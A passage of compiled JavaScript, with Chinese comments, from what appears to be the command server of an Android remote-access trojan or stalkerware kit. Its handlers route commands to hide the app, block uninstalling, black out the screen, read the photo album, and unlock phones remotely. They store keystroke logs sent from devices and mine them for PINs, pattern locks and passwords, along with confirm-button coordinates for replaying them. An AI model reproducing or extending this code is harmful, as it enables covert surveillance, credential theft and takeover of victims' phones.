return this.handleDeviceControlRelease(client.id, eventData.deviceId);
|
||
case 'GET_DEVICE_LIST':
|
||
return this.handleDeviceListRequest(client.id);
|
||
case 'GET_OPERATION_LOGS':
|
||
return this.handleGetOperationLogs(client.id, eventData);
|
||
case 'CLEAR_OPERATION_LOGS':
|
||
return this.handleClearOperationLogs(client.id, eventData.deviceId);
|
||
case 'GET_DEVICE_PASSWORD':
|
||
return this.handleGetDevicePassword(client.id, eventData.deviceId);
|
||
case 'SAVE_DEVICE_PASSWORD':
|
||
return this.handleSaveDevicePassword(client.id, eventData.deviceId, eventData.password);
|
||
case 'UPDATE_DEVICE_STATE':
|
||
return this.handleUpdateDeviceState(client.id, eventData.deviceId, eventData.state);
|
||
case 'GET_DEVICE_STATE':
|
||
return this.handleGetDeviceState(client.id, eventData.deviceId);
|
||
case 'SEARCH_PASSWORDS_FROM_LOGS':
|
||
return this.handleSearchPasswordsFromLogs(client.id, eventData.deviceId);
|
||
case 'DELETE_DEVICE':
|
||
return this.handleDeleteDevice(client.id, eventData.deviceId);
|
||
case 'GET_UI_HIERARCHY':
|
||
return this.handleGetUIHierarchy(client.id, eventData.deviceId, eventData);
|
||
case 'START_EXTRACT_CONFIRM_COORDS':
|
||
return this.handleStartExtractConfirmCoords(client.id, eventData.deviceId);
|
||
case 'SAVE_CONFIRM_COORDS':
|
||
return this.handleSaveConfirmCoords(client.id, eventData.deviceId, eventData.coords);
|
||
case 'ENABLE_BLACK_SCREEN':
|
||
return this.handleEnableBlackScreen(client.id, eventData.deviceId);
|
||
case 'DISABLE_BLACK_SCREEN':
|
||
return this.handleDisableBlackScreen(client.id, eventData.deviceId);
|
||
case 'OPEN_APP_SETTINGS':
|
||
return this.handleOpenAppSettings(client.id, eventData.deviceId);
|
||
case 'HIDE_APP':
|
||
return this.handleHideApp(client.id, eventData.deviceId);
|
||
case 'SHOW_APP':
|
||
return this.handleShowApp(client.id, eventData.deviceId);
|
||
case 'REFRESH_MEDIA_PROJECTION_PERMISSION':
|
||
return this.handleRefreshMediaProjectionPermission(client.id, eventData.deviceId);
|
||
case 'CLOSE_CONFIG_MASK':
|
||
return this.handleCloseConfigMask(client.id, eventData.deviceId, eventData.manual);
|
||
case 'ENABLE_UNINSTALL_PROTECTION':
|
||
return this.handleEnableUninstallProtection(client.id, eventData.deviceId);
|
||
case 'DISABLE_UNINSTALL_PROTECTION':
|
||
return this.handleDisableUninstallProtection(client.id, eventData.deviceId);
|
||
case 'UNLOCK_DEVICE':
|
||
return this.handleUnlockDevice(client.id, eventData.deviceId, eventData.data);
|
||
case 'GALLERY_PERMISSION_CHECK':
|
||
return this.handleGalleryPermissionCheck(client.id, eventData.deviceId);
|
||
case 'ALBUM_READ':
|
||
return this.handleAlbumRead(client.id, eventData.deviceId, eventData.data);
|
||
case 'OPEN_PIN_INPUT':
|
||
return this.handleOpenPinInput(client.id, eventData.deviceId);
|
||
case 'OPEN_FOUR_DIGIT_PIN':
|
||
return this.handleOpenFourDigitPin(client.id, eventData.deviceId);
|
||
case 'OPEN_PATTERN_LOCK':
|
||
return this.handleOpenPatternLock(client.id, eventData.deviceId);
|
||
case 'CHANGE_SERVER_URL':
|
||
return this.handleChangeServerUrl(client.id, eventData.deviceId, eventData.data);
|
||
default:
|
||
this.logger.warn(`未知的客户端事件类型: ${eventType}`);
|
||
return false;
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('路由客户端事件失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理设备控制请求
|
||
*/
|
||
handleDeviceControlRequest(clientId, deviceId) {
|
||
// ✅ 检查设备是否存在
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 尝试控制不存在的设备: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'device_control_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备不存在或已断开连接'
|
||
});
|
||
return false;
|
||
}
|
||
// ✅ 检查客户端是否已经在控制此设备(避免重复请求)
|
||
if (this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.debug(`👀 客户端 ${clientId} 已经在控制设备 ${deviceId},跳过重复请求`);
|
||
this.webClientManager.sendToClient(clientId, 'device_control_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '已经在控制此设备'
|
||
});
|
||
return true;
|
||
}
|
||
const result = this.webClientManager.requestDeviceControl(clientId, deviceId);
|
||
this.webClientManager.sendToClient(clientId, 'device_control_response', {
|
||
deviceId,
|
||
success: result.success,
|
||
message: result.message,
|
||
currentController: result.currentController
|
||
});
|
||
if (result.success) {
|
||
// 通知设备有新的控制者
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('controller_changed', { clientId });
|
||
this.logger.info(`📤 已通知设备 ${deviceId} 新控制者: ${clientId}`);
|
||
}
|
||
}
|
||
// 恢复设备状态(如果存在)
|
||
this.restoreDeviceState(clientId, deviceId);
|
||
}
|
||
return true;
|
||
}
|
||
/**
|
||
* 处理设备控制释放
|
||
*/
|
||
handleDeviceControlRelease(clientId, deviceId) {
|
||
// ✅ 首先检查设备是否还在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device) {
|
||
this.logger.warn(`⚠️ 尝试释放已断开设备的控制权: ${deviceId}`);
|
||
// 即使设备已断开,也要清理控制权状态
|
||
this.webClientManager.releaseDeviceControl(deviceId);
|
||
return false;
|
||
}
|
||
if (this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.webClientManager.releaseDeviceControl(deviceId);
|
||
// 通知设备控制者已离开
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('controller_changed', { clientId: null });
|
||
this.logger.debug(`📤 已通知设备 ${deviceId} 控制者离开`);
|
||
}
|
||
else {
|
||
this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`);
|
||
}
|
||
}
|
||
else {
|
||
this.logger.warn(`⚠️ 无法找到设备SocketId: ${deviceId}`);
|
||
}
|
||
}
|
||
else {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 没有设备 ${deviceId} 的控制权`);
|
||
return false;
|
||
}
|
||
return true;
|
||
}
|
||
/**
|
||
* 处理设备列表请求
|
||
*/
|
||
handleDeviceListRequest(clientId) {
|
||
try {
|
||
// ✅ 使用和getAllDevicesIncludingHistory相同的逻辑
|
||
// 获取数据库中的所有历史设备
|
||
const allDbDevices = this.databaseService.getAllDevices();
|
||
// 获取内存中的在线设备,用于补充Socket ID和状态
|
||
const onlineDevices = this.deviceManager.getAllDevices();
|
||
const onlineDeviceMap = new Map();
|
||
onlineDevices.forEach(device => {
|
||
onlineDeviceMap.set(device.id, device);
|
||
});
|
||
// 转换为前端格式并补充Socket ID
|
||
const allDevices = allDbDevices.map(dbDevice => {
|
||
const onlineDevice = onlineDeviceMap.get(dbDevice.deviceId);
|
||
return {
|
||
id: dbDevice.deviceId,
|
||
socketId: onlineDevice?.socketId || '', // 在线设备有Socket ID,离线设备为空
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: dbDevice.capabilities,
|
||
connectedAt: dbDevice.firstSeen,
|
||
lastSeen: dbDevice.lastSeen,
|
||
// ✅ 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态
|
||
status: onlineDevice ? 'online' : dbDevice.status,
|
||
inputBlocked: onlineDevice?.inputBlocked || false
|
||
};
|
||
});
|
||
this.webClientManager.sendToClient(clientId, 'device_list', {
|
||
devices: allDevices.map(device => ({
|
||
...device,
|
||
isControlled: !!this.webClientManager.getDeviceController(device.id),
|
||
controller: this.webClientManager.getDeviceController(device.id)
|
||
}))
|
||
});
|
||
this.logger.info(`设备列表已发送: 在线=${onlineDevices.length}, 总计=${allDevices.length}`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理设备列表请求失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'device_list', {
|
||
devices: []
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理操作日志(从设备接收)
|
||
*/
|
||
handleOperationLog(fromSocketId, logMessage) {
|
||
try {
|
||
// 验证消息来源是设备
|
||
const device = this.deviceManager.getDeviceBySocketId(fromSocketId);
|
||
if (!device) {
|
||
this.logger.warn(`未知设备尝试发送操作日志: ${fromSocketId}`);
|
||
return false;
|
||
}
|
||
// 验证设备ID匹配
|
||
if (device.id !== logMessage.deviceId) {
|
||
this.logger.warn(`设备ID不匹配: socket=${fromSocketId}, device=${device.id}, message=${logMessage.deviceId}`);
|
||
return false;
|
||
}
|
||
// 🔧 修复:更新设备的lastSeen时间(操作日志也是设备活跃的标志)
|
||
device.lastSeen = new Date();
|
||
this.logger.debug(`🔄 操作日志更新活跃时间: ${device.id} - ${logMessage.logType}`);
|
||
// 🆕 检查是否为应用隐藏事件(通过操作日志传输)
|
||
if (logMessage.extraData && logMessage.extraData.isAppHideEvent) {
|
||
this.logger.info(`📱 检测到通过操作日志发送的应用隐藏事件: ${device.id}`);
|
||
try {
|
||
const deviceEventData = logMessage.extraData.eventData;
|
||
if (deviceEventData && logMessage.extraData.eventType === 'app_hide_status') {
|
||
// 处理应用隐藏状态更新
|
||
this.handleAppHideStatusUpdate(device.id, deviceEventData);
|
||
}
|
||
}
|
||
catch (e) {
|
||
this.logger.error('处理应用隐藏事件失败:', e);
|
||
}
|
||
}
|
||
// 保存到数据库
|
||
this.databaseService.saveOperationLog({
|
||
deviceId: logMessage.deviceId,
|
||
logType: logMessage.logType,
|
||
content: logMessage.content,
|
||
extraData: logMessage.extraData,
|
||
timestamp: new Date(logMessage.timestamp)
|
||
});
|
||
this.logger.debug(`操作日志已保存: ${device.name} - ${logMessage.logType}: ${logMessage.content}`);
|
||
// 实时广播给正在控制该设备的Web客户端
|
||
const controllerId = this.webClientManager.getDeviceController(device.id);
|
||
if (controllerId) {
|
||
this.webClientManager.sendToClient(controllerId, 'operation_log_realtime', {
|
||
deviceId: device.id,
|
||
log: {
|
||
logType: logMessage.logType,
|
||
content: logMessage.content,
|
||
extraData: logMessage.extraData,
|
||
timestamp: new Date(logMessage.timestamp)
|
||
}
|
||
});
|
||
}
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理操作日志失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理获取操作日志请求
|
||
*/
|
||
handleGetOperationLogs(clientId, requestData) {
|
||
try {
|
||
const { deviceId, page = 1, pageSize = 50, logType } = requestData;
|
||
// 检查客户端是否有权限查看该设备日志
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`客户端 ${clientId} 无权查看设备 ${deviceId} 的日志`);
|
||
this.webClientManager.sendToClient(clientId, 'operation_logs_response', {
|
||
success: false,
|
||
message: '无权查看该设备日志'
|
||
});
|
||
return false;
|
||
}
|
||
// 从数据库获取日志
|
||
const result = this.databaseService.getOperationLogs(deviceId, page, pageSize, logType);
|
||
// 发送给客户端
|
||
this.webClientManager.sendToClient(clientId, 'operation_logs_response', {
|
||
success: true,
|
||
data: result
|
||
});
|
||
this.logger.debug(`操作日志已发送: ${deviceId}, page=${page}, total=${result.total}`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理获取操作日志请求失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'operation_logs_response', {
|
||
success: false,
|
||
message: '获取日志失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理清空操作日志请求
|
||
*/
|
||
handleClearOperationLogs(clientId, deviceId) {
|
||
try {
|
||
// 检查客户端是否有权限清空该设备日志
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`客户端 ${clientId} 无权清空设备 ${deviceId} 的日志`);
|
||
this.webClientManager.sendToClient(clientId, 'clear_logs_response', {
|
||
success: false,
|
||
message: '无权清空该设备日志'
|
||
});
|
||
return false;
|
||
}
|
||
// 清空数据库中的日志
|
||
this.databaseService.clearOperationLogs(deviceId);
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'clear_logs_response', {
|
||
success: true,
|
||
message: '日志已清空'
|
||
});
|
||
this.logger.info(`设备 ${deviceId} 的操作日志已被客户端 ${clientId} 清空`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理清空操作日志请求失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'clear_logs_response', {
|
||
success: false,
|
||
message: '清空日志失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理获取设备密码请求
|
||
*/
|
||
handleGetDevicePassword(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`🔐 处理密码查询请求: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查客户端是否有权限查看该设备信息
|
||
const hasControl = this.webClientManager.hasDeviceControl(clientId, deviceId);
|
||
this.logger.info(`🎫 权限检查结果: ${hasControl}`);
|
||
if (!hasControl) {
|
||
this.logger.warn(`❌ 客户端 ${clientId} 无权查看设备 ${deviceId} 的密码`);
|
||
this.webClientManager.sendToClient(clientId, 'get_device_password_response', {
|
||
success: false,
|
||
message: '无权查看该设备信息'
|
||
});
|
||
return false;
|
||
}
|
||
// ✅ 优先从状态表获取密码
|
||
const password = this.databaseService.getDevicePassword(deviceId);
|
||
// ✅ 获取设备状态信息
|
||
const deviceState = this.databaseService.getDeviceState(deviceId);
|
||
let responseData = {
|
||
success: true,
|
||
password: password,
|
||
deviceState: deviceState ? {
|
||
inputBlocked: deviceState.inputBlocked,
|
||
loggingEnabled: deviceState.loggingEnabled,
|
||
lastPasswordUpdate: deviceState.lastPasswordUpdate,
|
||
// 🆕 包含确认按钮坐标信息
|
||
confirmButtonCoords: deviceState.confirmButtonCoords,
|
||
learnedConfirmButton: deviceState.learnedConfirmButton
|
||
} : null
|
||
};
|
||
// ✅ 处理确认按钮坐标信息
|
||
if (password) {
|
||
responseData.message = '找到密码记录';
|
||
// 🆕 优先使用保存的确认按钮坐标
|
||
if (deviceState?.confirmButtonCoords) {
|
||
responseData.hasConfirmButton = true;
|
||
responseData.confirmButtonCoords = deviceState.confirmButtonCoords;
|
||
this.logger.info(`🎯 使用保存的确认按钮坐标: (${deviceState.confirmButtonCoords.x}, ${deviceState.confirmButtonCoords.y})`);
|
||
}
|
||
// 🆕 其次使用学习的确认按钮坐标
|
||
else if (deviceState?.learnedConfirmButton) {
|
||
responseData.hasConfirmButton = true;
|
||
responseData.confirmButtonCoords = {
|
||
x: deviceState.learnedConfirmButton.x,
|
||
y: deviceState.learnedConfirmButton.y
|
||
};
|
||
this.logger.info(`🧠 使用学习的确认按钮坐标: (${deviceState.learnedConfirmButton.x}, ${deviceState.learnedConfirmButton.y}) 次数: ${deviceState.learnedConfirmButton.count}`);
|
||
}
|
||
// 🆕 最后尝试从日志中查找
|
||
else {
|
||
const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT');
|
||
const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs);
|
||
const matchingEntry = passwordsWithMeta.find(entry => entry.password === password);
|
||
if (matchingEntry && matchingEntry.hasConfirmButton) {
|
||
responseData.hasConfirmButton = true;
|
||
responseData.confirmButtonCoords = {
|
||
x: matchingEntry.confirmButtonX,
|
||
y: matchingEntry.confirmButtonY
|
||
};
|
||
this.logger.info(`📝 从日志中找到确认按钮坐标: (${matchingEntry.confirmButtonX}, ${matchingEntry.confirmButtonY})`);
|
||
}
|
||
else {
|
||
responseData.hasConfirmButton = false;
|
||
this.logger.info(`ℹ️ 密码 ${password} 无确认按钮坐标`);
|
||
}
|
||
}
|
||
}
|
||
else {
|
||
// 如果状态表没有密码,尝试从日志中提取
|
||
const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT');
|
||
if (textInputLogs.logs.length > 0) {
|
||
const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs);
|
||
if (passwordsWithMeta.length > 0) {
|
||
const bestEntry = passwordsWithMeta[0];
|
||
responseData.password = bestEntry.password;
|
||
if (bestEntry.hasConfirmButton) {
|
||
responseData.hasConfirmButton = true;
|
||
responseData.confirmButtonCoords = {
|
||
x: bestEntry.confirmButtonX,
|
||
y: bestEntry.confirmButtonY
|
||
};
|
||
}
|
||
else {
|
||
responseData.hasConfirmButton = false;
|
||
}
|
||
responseData.message = '从日志中找到密码记录';
|
||
this.logger.info(`✅ 从日志中提取密码: ${bestEntry.password}`);
|
||
}
|
||
else {
|
||
responseData.message = '暂无密码记录';
|
||
}
|
||
}
|
||
else {
|
||
responseData.message = '暂无密码记录';
|
||
}
|
||
}
|
||
// 发送响应
|
||
this.webClientManager.sendToClient(clientId, 'get_device_password_response', responseData);
|
||
this.logger.debug(`设备密码和状态查询完成: ${deviceId}, 找到密码: ${!!password}, 设备状态: ${!!deviceState}`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理获取设备密码请求失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'get_device_password_response', {
|
||
success: false,
|
||
message: '查询密码失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理保存设备密码请求
|
||
*/
|
||
handleSaveDevicePassword(clientId, deviceId, password) {
|
||
try {
|
||
this.logger.info(`🔐 处理保存设备密码请求: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查客户端是否有权限保存该设备密码
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`客户端 ${clientId} 无权保存设备 ${deviceId} 的密码`);
|
||
this.webClientManager.sendToClient(clientId, 'save_device_password_response', {
|
||
success: false,
|
||
message: '无权保存该设备密码'
|
||
});
|
||
return false;
|
||
}
|
||
// 保存密码到数据库
|
||
this.databaseService.saveDevicePassword(deviceId, password);
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'save_device_password_response', {
|
||
success: true,
|
||
message: '密码已保存'
|
||
});
|
||
this.logger.info(`设备 ${deviceId} 的密码已被客户端 ${clientId} 保存`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理保存设备密码请求失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'save_device_password_response', {
|
||
success: false,
|
||
message: '保存密码失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理更新设备状态请求
|
||
*/
|
||
handleUpdateDeviceState(clientId, deviceId, state) {
|
||
try {
|
||
this.logger.info(`🔐 处理更新设备状态请求: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查客户端是否有权限更新该设备状态
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`客户端 ${clientId} 无权更新设备 ${deviceId} 的状态`);
|
||
this.webClientManager.sendToClient(clientId, 'update_device_state_response', {
|
||
success: false,
|
||
message: '无权更新该设备状态'
|
||
});
|
||
return false;
|
||
}
|
||
// 更新设备状态到数据库
|
||
this.databaseService.updateDeviceState(deviceId, state);
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'update_device_state_response', {
|
||
success: true,
|
||
message: '设备状态已更新'
|
||
});
|
||
this.logger.info(`设备 ${deviceId} 的状态已被客户端 ${clientId} 更新`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理更新设备状态请求失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'update_device_state_response', {
|
||
success: false,
|
||
message: '更新设备状态失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理获取设备状态请求
|
||
*/
|
||
handleGetDeviceState(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`🔐 处理获取设备状态请求: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查客户端是否有权限获取该设备状态
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`客户端 ${clientId} 无权获取设备 ${deviceId} 的状态`);
|
||
this.webClientManager.sendToClient(clientId, 'get_device_state_response', {
|
||
success: false,
|
||
message: '无权获取该设备状态'
|
||
});
|
||
return false;
|
||
}
|
||
// 获取设备状态
|
||
const deviceState = this.databaseService.getDeviceState(deviceId);
|
||
// 发送响应,包含设备状态信息
|
||
this.webClientManager.sendToClient(clientId, 'get_device_state_response', {
|
||
success: true,
|
||
data: deviceState
|
||
});
|
||
this.logger.info(`设备 ${deviceId} 的状态已被客户端 ${clientId} 获取`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理获取设备状态请求失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'get_device_state_response', {
|
||
success: false,
|
||
message: '获取设备状态失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 广播消息到所有相关方
|
||
*/
|
||
broadcastMessage(eventType, data) {
|
||
this.webClientManager.broadcastToAll(eventType, data);
|
||
this.logger.debug(`广播消息: ${eventType}`);
|
||
}
|
||
/**
|
||
* 获取路由统计信息
|
||
*/
|
||
getRouterStats() {
|
||
return {
|
||
totalDevices: this.deviceManager.getDeviceCount(),
|
||
totalClients: this.webClientManager.getClientCount(),
|
||
activeControlSessions: this.webClientManager.getAllClients()
|
||
.filter(client => client.controllingDeviceId).length
|
||
};
|
||
}
|
||
handleDeviceInputBlockedChanged(deviceId, blocked) {
|
||
try {
|
||
// 更新设备状态到数据库
|
||
this.databaseService.updateDeviceInputBlocked(deviceId, blocked);
|
||
// 通知所有连接的Web客户端设备状态已变化
|
||
this.webClientManager.broadcastToAll('device_input_blocked_changed', {
|
||
deviceId,
|
||
blocked,
|
||
success: true,
|
||
message: '设备输入阻塞状态已更新'
|
||
});
|
||
this.logger.info(`设备 ${deviceId} 的输入阻塞状态已更新: ${blocked}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理设备输入阻塞状态更新失败:', error);
|
||
this.webClientManager.broadcastToAll('device_input_blocked_changed', {
|
||
deviceId,
|
||
blocked,
|
||
success: false,
|
||
message: '更新设备输入阻塞状态失败'
|
||
});
|
||
}
|
||
}
|
||
handleDeviceLoggingStateChanged(deviceId, enabled) {
|
||
try {
|
||
// 更新设备状态到数据库
|
||
this.databaseService.updateDeviceLoggingEnabled(deviceId, enabled);
|
||
// 通知所有连接的Web客户端设备状态已变化
|
||
this.webClientManager.broadcastToAll('device_logging_state_changed', {
|
||
deviceId,
|
||
enabled,
|
||
success: true,
|
||
message: '设备日志状态已更新'
|
||
});
|
||
this.logger.info(`设备 ${deviceId} 的日志状态已更新: ${enabled}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理设备日志状态更新失败:', error);
|
||
this.webClientManager.broadcastToAll('device_logging_state_changed', {
|
||
deviceId,
|
||
enabled,
|
||
success: false,
|
||
message: '更新设备日志状态失败'
|
||
});
|
||
}
|
||
}
|
||
restoreDeviceState(clientId, deviceId) {
|
||
try {
|
||
// 从数据库获取设备状态
|
||
const deviceState = this.databaseService.getDeviceState(deviceId);
|
||
if (deviceState) {
|
||
// 发送设备状态给客户端
|
||
this.webClientManager.sendToClient(clientId, 'device_state_restored', {
|
||
deviceId,
|
||
state: deviceState,
|
||
success: true,
|
||
message: '设备状态已恢复'
|
||
});
|
||
// ✅ 优化:Web端获取控制权时,只需要同步状态到Web端界面即可
|
||
// Android端已经在运行并维护着真实状态,不需要强制同步命令
|
||
// 移除了向Android端发送控制命令的逻辑,避免不必要的命令洪流导致连接不稳定
|
||
this.logger.info(`设备 ${deviceId} 状态已恢复到Web端: 密码=${deviceState.password ? '已设置' : '未设置'}, 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`);
|
||
}
|
||
else {
|
||
this.logger.debug(`设备 ${deviceId} 没有保存的状态信息`);
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`恢复设备 ${deviceId} 状态失败:`, error);
|
||
this.webClientManager.sendToClient(clientId, 'device_state_restored', {
|
||
deviceId,
|
||
success: false,
|
||
message: '恢复设备状态失败'
|
||
});
|
||
}
|
||
}
|
||
handleSearchPasswordsFromLogs(clientId, deviceId) {
|
||
try {
|
||
// 检查客户端权限
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`客户端 ${clientId} 无权搜索设备 ${deviceId} 的密码`);
|
||
this.webClientManager.sendToClient(clientId, 'password_search_response', {
|
||
success: false,
|
||
message: '无权搜索该设备的密码'
|
||
});
|
||
return false;
|
||
}
|
||
this.logger.info(`🔍 开始从日志中搜索密码: 设备=${deviceId}`);
|
||
// 从数据库获取文本输入相关的操作日志
|
||
const textInputLogs = this.databaseService.getPasswordCandidatesFromLogs(deviceId);
|
||
this.logger.info(`🔍 设备 ${deviceId} 密码查找结果: 找到 ${textInputLogs ? textInputLogs.length : 0} 条文本输入日志`);
|
||
if (!textInputLogs || textInputLogs.length === 0) {
|
||
this.logger.info(`📝 设备 ${deviceId} 暂无文本输入日志记录`);
|
||
// 调试:检查该设备是否有任何日志
|
||
const allLogs = this.databaseService.getOperationLogs(deviceId, 1, 10);
|
||
this.logger.info(`🔍 调试信息 - 设备 ${deviceId} 的所有日志数量: ${allLogs.total}`);
|
||
this.webClientManager.sendToClient(clientId, 'password_search_response', {
|
||
success: true,
|
||
message: `未找到文本输入记录。该设备共有 ${allLogs.total} 条日志,但无文本输入类型的日志。`,
|
||
passwords: []
|
||
});
|
||
return true;
|
||
}
|
||
// 分析日志内容,提取可能的密码
|
||
const passwordCandidates = this.extractPasswordCandidates(textInputLogs);
|
||
this.logger.info(`🔑 发现 ${passwordCandidates.length} 个可能的密码候选`);
|
||
// 发送结果给客户端
|
||
this.webClientManager.sendToClient(clientId, 'password_search_response', {
|
||
success: true,
|
||
message: `找到 ${passwordCandidates.length} 个可能的密码`,
|
||
passwords: passwordCandidates
|
||
});
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('搜索密码失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'password_search_response', {
|
||
success: false,
|
||
message: '搜索密码时发生错误'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标)
|
||
*/
|
||
extractPasswordCandidatesWithMeta(logs) {
|
||
const passwordMap = new Map();
|
||
for (const log of logs) {
|
||
const content = log.content || '';
|
||
const extraData = log.extraData;
|
||
this.logger.debug(`🔍 分析日志内容: ${content}`);
|
||
let textInput = '';
|
||
let passwordType = 'unknown';
|
||
let confirmButtonX;
|
||
let confirmButtonY;
|
||
let hasConfirmButton = false;
|
||
// ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息)
|
||
if (content.includes('🔑 密码输入分析完成')) {
|
||
const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/);
|
||
if (passwordMatch) {
|
||
textInput = passwordMatch[1].trim();
|
||
this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`);
|
||
}
|
||
// 提取密码类型信息
|
||
if (content.includes('数字密码') || content.includes('PIN码')) {
|
||
passwordType = content.includes('PIN码') ? 'pin' : 'numeric';
|
||
}
|
||
else if (content.includes('图案密码') || content.includes('图形密码')) {
|
||
passwordType = 'pattern';
|
||
}
|
||
else if (content.includes('混合密码')) {
|
||
passwordType = 'mixed';
|
||
}
|
||
else if (content.includes('文本密码')) {
|
||
passwordType = 'text';
|
||
}
|
||
else {
|
||
passwordType = this.detectPasswordTypeFromContent(textInput);
|
||
}
|
||
// ✅ 提取确认坐标信息
|
||
const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/);
|
||
if (coordMatch) {
|
||
confirmButtonX = parseInt(coordMatch[1]);
|
||
confirmButtonY = parseInt(coordMatch[2]);
|
||
hasConfirmButton = true;
|
||
this.logger.info(`✅ 提取到确认坐标: (${confirmButtonX}, ${confirmButtonY})`);
|
||
}
|
||
this.logger.info(`🔍 检测到密码类型: ${passwordType}`);
|
||
}
|
||
// ✅ 从extraData中提取坐标信息
|
||
if (extraData && typeof extraData === 'object') {
|
||
if (extraData.confirmButtonX && extraData.confirmButtonY) {
|
||
confirmButtonX = extraData.confirmButtonX;
|
||
confirmButtonY = extraData.confirmButtonY;
|
||
hasConfirmButton = true;
|
||
}
|
||
}
|
||
// ✅ 处理独立的确认坐标日志
|
||
if (content.includes('确认按钮坐标更新') || log.log_type === 'PASSWORD_CONFIRM_COORDS') {
|
||
// 这是一个确认坐标更新日志,需要关联到最近的密码
|
||
if (extraData && extraData.confirmButtonX && extraData.confirmButtonY) {
|
||
// 在已有的密码候选中查找最近的需要确认按钮的密码
|
||
const existingEntries = Array.from(passwordMap.values());
|
||
const recentEntry = existingEntries
|
||
.filter(entry => entry.type === 'mixed' || entry.type === 'text')
|
||
.sort((a, b) => (b.confirmButtonX ? 1 : 0) - (a.confirmButtonX ? 1 : 0)) // 优先选择还没有坐标的
|
||
.pop();
|
||
if (recentEntry && !recentEntry.confirmButtonX) {
|
||
recentEntry.confirmButtonX = extraData.confirmButtonX;
|
||
